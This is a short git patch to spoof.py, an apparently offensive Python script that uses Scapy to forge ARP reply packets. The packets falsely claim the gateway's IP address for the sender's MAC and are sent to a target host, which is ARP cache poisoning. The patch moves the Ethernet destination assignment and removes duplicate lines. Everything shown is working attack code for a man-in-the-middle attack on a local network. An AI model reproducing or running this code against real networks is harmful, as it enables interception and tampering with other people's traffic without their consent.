From 94c1fddea9867fabcd221bbd0029a952ae760e02 Mon Sep 17 00:00:00 2001 From: R3DDY97 Date: Tue, 25 Apr 2017 16:22:57 +0530 Subject: [PATCH] Update spoof.py --- spoof.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/spoof.py b/spoof.py index dea1a5c..42f4c54 100644 --- a/spoof.py +++ b/spoof.py @@ -22,6 +22,7 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac): # Function for sending the malicious ARP packets out with the specified data ether = Ether() ether.src = my_mac + ether.dst = target_mac arp = ARP() arp.psrc = gateway_ip @@ -30,15 +31,10 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac): arp = arp arp.pdst = target_ip arp.hwdst = target_mac - - ether = ether - ether.src = my_mac - ether.dst = target_mac - arp.op = 2 def broadcastPacket(): packet = ether / arp sendp(x=packet, verbose=False) - broadcastPacket() \ No newline at end of file + broadcastPacket()